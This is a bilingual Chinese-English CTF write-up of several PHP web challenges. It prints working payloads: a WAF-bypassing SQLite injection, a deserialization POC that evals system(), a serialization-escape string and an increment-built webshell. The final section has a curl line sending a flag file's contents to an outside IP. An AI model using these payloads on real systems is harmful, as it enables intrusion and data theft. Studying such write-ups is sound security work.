image-20210808210427761

[toc]

Baby Web

image-20210808132248494

进入题目可以查看当前比赛的所有题目:

Enter the challenge to view all the topics of the current competition:

image-20210808210702646

题目直接给了 docker:

The challenge gave us docker:

  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

class MyDB extends SQLite3 {
function __construct() {
$this->open('./karma.db');
}
}

$db = new MyDB();
if (!$db) {
echo $db->lastErrorMsg();
} else {

if (isset($_GET['chall_id'])) {
$channel_name = $_GET['chall_id'];
$sql = "SELECT * FROM CTF WHERE id={$channel_name}";
$results = $db->query($sql);
while($row = $results->fetchArray(SQLITE3_ASSOC) ) {
echo "<tr><th>".$row['id']."</th><th>".$row['title']."</th><th>".$row['description']."</th><th>".$row['category']."</th><th>".$row['author']."</th><th>".$row['points']."</th></tr>";
}
}else{
echo "<tr><th>-</th><th>-</th><th>-</th><th>-</th><th>-</th><th>-</th></tr>";
}

}
?>

从代码中看出在 chall_id 处应该存在一个整数型的 SQLite3 注入,但是经测试发现 chall_id 只能传入数字,传入字母会被检测:

It can be seen from the code that there should be an integer SQLite3 injection at chall_id, but after testing, it is found that chall_id can only pass in numbers, and incoming letters will be detected:

image-20210808090107364

必定存在 WAF。

最终,在 ctf.conf 中发现了对 chall_id 的限制:

There must be a WAF.

Finally, a restriction on chall_id was found in ctf.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;

......

server {
listen 80;
server_name _;
#error_page 500 /www/error.html;
index index.php;
root /www;

if ($args ~ [%]){
return 500;
}

if ( $arg_chall_id ~ [A-Za-z_.%]){ # chall_id 中不能出现字母
return 500;
}

error_page 500 error.html;

location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}

}
}

可以看到题目通过 nginx 配置文件限制参数 chall_id 中不能出现字母。当时在这里卡了好久,后来想起了一个挺老的 trick —— “利用PHP的字符串解析特性绕过 Waf”。

You can see that the title restricts the characters in the chall_id parameter through the nginx configuration file. I was stuck here for a long time, and then I remembered an old trick-“Use PHP’s string parsing feature to bypass Waf”:

我们知道 PHP 将查询字符串转换为内部关联数组 $_GET 或关联数组 $_POST。例如:/?foo=bar 将变成 Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42 会转换为Array([news_id] => 42)。如果一个 IDS/IPS 或 WAF 中有一条规则是当 news_id 参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

We know that PHP converts query strings into internal associative array $_GET or associative array $_POST. For example: /?foo=bar will become Array([foo] => "bar"). It is worth noting that certain characters will be deleted or replaced with underscores during the parsing of the query string. For example, /?%20news[id%00=42 will be converted to Array([news_id] => 42). If a rule in IDS/IPS or WAF is to block when the value of the news_id parameter is a non-numeric value, then we can bypass it with the following statement:

1
/news.php?%20news[id%00=42"+AND+1=0–-+

所以我们在传参的时候,使用 [ 来代替 _ 就绕过搞绕过这里的 Waf:

So when we pass parameters, we use [ instead of _ to bypass the Waf here:

1
/?chall[id=0/**/union/**/select/**/1,2,3,4,5,6

image-20210808131103303

然后从 SQLite 隐藏表 sqlite_master 中得到了存放 flag 的表名与字段:

Then from the SQLite hidden table sqlite_master, the name and field of the table storing the flag are obtained:

1
2
3
/?chall[id=0/**/union/**/select/**/1,2,(select/**/sql/**/from/**/sqlite_master/**/limit/**/0,1),4,5,6
/?chall[id=0/**/union/**/select/**/1,2,(select/**/sql/**/from/**/sqlite_master/**/limit/**/1,1),4,5,6
/?chall[id=0/**/union/**/select/**/1,2,(select/**/sql/**/from/**/sqlite_master/**/limit/**/2,1),4,5,6 # 发现 flagsss 表

image-20210808131505986

得知 flag 在 flagsss 表的 flag 字段中,读取它:

Knowing that the flag is in the flag field of the flagsss table, read it:

1
/?chall[id=0/**/union/**/select/**/1,2,(select/**/flag/**/from/**/flagsss),4,5,6

image-20210808090017175

freepoint

image-20210808132326736

题目给了源码:

The challenge gave us the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

include "config.php";
function filter($str) {
if(preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i",$str)) { // 这里的 \'[a-z]|\"[a-z0-9] 是迷惑你的, 由于前面都加了引号, 所以没啥用
return false;
} else {
return true;
}
}
class BSides {
protected $option;
protected $name;
protected $note;

function __construct() {
$option = "no flag";
$name = "guest";
$note = "flag{flag_phake}";
$this->load();
}

public function load()
{
if ($this->option === "no flag") {
die("flag here ! :)");
} else if ($this->option === "getFlag"){ // option === "getFlag" 进入 loadFlag
$this->loadFlag();
} else {
die("You don't need flag ?");
}
}
private function loadFlag() {
if (isset($this->note) && isset($this->name)) {
if ($this->name === "admin") {
if (filter($this->note) == 1) {
eval($this->note.";"); // 执行 $this->note
} else {
die("18cm30p !! :< ");
}
}
}
}

function __destruct() {
$this->load();
}
}

if (isset($_GET['ctf'])) {
$ctf = (string)$_GET['ctf'];
if (check($ctf)) {
unserialize($ctf);
}
} else {
highlight_file(__FILE__);
}
?>

源码很简单,我们使用 URL 编码绕过关键字过滤,构造 POC:

The source code is very simple. We use URL encoding to bypass keyword filtering and construct a POC:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class BSides {
public $option = "getFlag";
public $name = "admin";
public $note = "eval(urldecode('%73%79%73%74%65%6d%28%24%5f%50%4f%53%54%5b%77%68%6f%61%6d%69%5d%29%3b'))";
}

$poc = new BSides();
echo urlencode(serialize($poc));
?>
// O%3A6%3A%22BSides%22%3A3%3A%7Bs%3A6%3A%22option%22%3Bs%3A7%3A%22getFlag%22%3Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A4%3A%22note%22%3Bs%3A88%3A%22eval%28urldecode%28%27%2573%2579%2573%2574%2565%256d%2528%2524%255f%2550%254f%2553%2554%255b%2577%2568%256f%2561%256d%2569%255d%2529%253b%27%29%29%22%3B%7D

这里为什么要把 protected 换成 public 呢?当你看完 config.php 的内容后你便明白了:

Why replace protected with public here? After you read the content of config.php, you will understand:

  • config.php
1
2
3
4
5
6
7
8
<?php
function check($payload) {
for($i = 0; $i < strlen($payload); $i++)
if(!(ord($payload[$i]) >= 32 && ord($payload[$i]) <= 125))
return false;
return true;
}
?>

即我们传入的 Payload 中的字符必须全部在可见字符范围内,而 protected 类型的属性在反序列化后会出现 %00 空字符,这是不可见字符,所以我们要把 protected 换成 public。但是这也只适用 PHP 版本大于等于 7.2 的条件下。

如下图所示,成功执行命令:

That is to say, the characters in the payload we pass in must all be in the visible character range, and the protected type attribute will have the %00 empty character after deserialization, which is an invisible character, so we need to change protected to public . But this only applies if the PHP version is greater than or equal to 7.2.

As shown in the figure below, the command is successfully executed:

image-20210808214307928

在 home 目录中发现并成功读取 flag:

The flag was found in the home directory and successfully read:

image-20210808214347984

Basic Notepad

image-20210808210146394

进入题目,注册用户并登录后,可以编写 Notes:

image-20210808215057050

写完之后可以点击 Review 进行预览:

image-20210808215149278

然后点击 Share with admin 可以将这个 Notes 分享给管理员。

经测试存在 XSS,并且没有过滤,直接写入 XSS 向量并预览即可触发:

image-20210808215421267

image-20210808215337104

没做出来。。。。。。

wowooo

image-20210808132311095

访问 /?debug 获得源码:

Visit /?debug to get the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'flag.php';
function filter($string){
$filter = '/flag/i';
return preg_replace($filter,'flagcc',$string);
}
$username=$_GET['name'];
$pass="V13tN4m_number_one";
$pass="Fl4g_in_V13tN4m";
$ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}";

$authen = unserialize(filter($ser));

if($authen[1]==="V13tN4m_number_one "){
echo $flag;
}
if (!isset($_GET['debug'])) {
echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL;
} else {
highlight_file( __FILE__);
}
?>
<!-- debug -->

变长的反序列化逃逸,直接给出 Payload:

The variable-length deserialization escapes, and the Payload is directly given:

1
/?debug&name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}

得到 flag:

Get the flag:

image-20210808093838510

Baby Web Revenge

image-20210808132350879

跟第一个题 Baby Web 一样,就光换了个表名,不知道啥意思:

Same as the first question Baby Web, just changed the table name, I don’t know what it means:

1
/?chall[id=0/**/union/**/select/**/1,2,(select/**/sql/**/from/**/sqlite_master/**/limit/**/1,1),4,5,6

image-20210808131844343

1
/?chall[id=0/**/union/**/select/**/1,2,(select/**/flag/**/from/**/therealflags),4,5,6

image-20210808131906401

Calculate

image-20210808210121671

直接给源码:

This challenge directly gives us the source code:

  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
include "config.php";

if (isset($_POST['VietNam'])) {
$VN = $_POST['VietNam'];
if (filter($VN)) {
die("nope!!");
}
if (!is_string($VN) || strlen($VN) > 110) {
die("18cm30p ??? =)))");
}
else {
$VN = "echo ".$VN.";";
eval($VN);
}
} else {
if (isset($_GET['check'])) {
echo phpinfo();
}
else {
highlight_file(__FILE__);
}
}
?>
  • config.php
1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['🐶'])) {
highlight_file(__FILE__);
}
function filter($payload) { // 过滤以下字符
if (preg_match("/[a-zA-BD-Z!@#%^&*:'\"|`~\\\\]|3|5|6|9/",$payload)) {
return true;
}
}
?>
<!-- ?🐶 -->

这题挺恶心的,使用自增进行绕过来构造 Webshell,构造过程如下:

This challenge is disgusting. Use auto-increment to bypass and construct a Webshell. The construction process is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 最终需要构造出以下形式:
$_ = '_GET';
${$_}{1}(${$_}{2}) // 即 ${_GET}{1}(${_GET}{2})

// 构造过程:
$_='C';
$_++; // D
$C=++$_; // E
$_++;
$C_=++$_; // G
$_=(C/C.C){0};
$_++;$_++;$_++;$_++;$_++; // S, 再一次 $_++; 得到 T
$_='_'.$C_.$C.++$_; // _GET
${$_}{1}(${$_}{2};

// 将构造的 Payload 连起来:
$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;${$_}{1}(${$_}{2})

// 将构造的 Payload 进行 URL编码:
%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%7B%24_%7D%7B1%7D(%24%7B%24_%7D%7B2%7D)

如下图,成功实现代码执行:

As shown in the figure below, the code execution is successfully implemented:

image-20210808205124615

在 phpinfo 中发现题目设置了 disable_functions,过滤了一大堆函数,但偏偏忽略了 exec,我们使用 exec 执行命令可以成功读取 flag:

In phpinfo, I found that disable_functions was set for the title, and a lot of functions were filtered, but exec was ignored. We can successfully read the flag by using exec to execute the command:

1
/?1=exec&2=curl 47.101.57.72:2333 -d "`cat /home/fl4g_h1hih1i_xxx.txt`"

image-20210808205959047

得到 flag:

Get the flag:

image-20210808205853660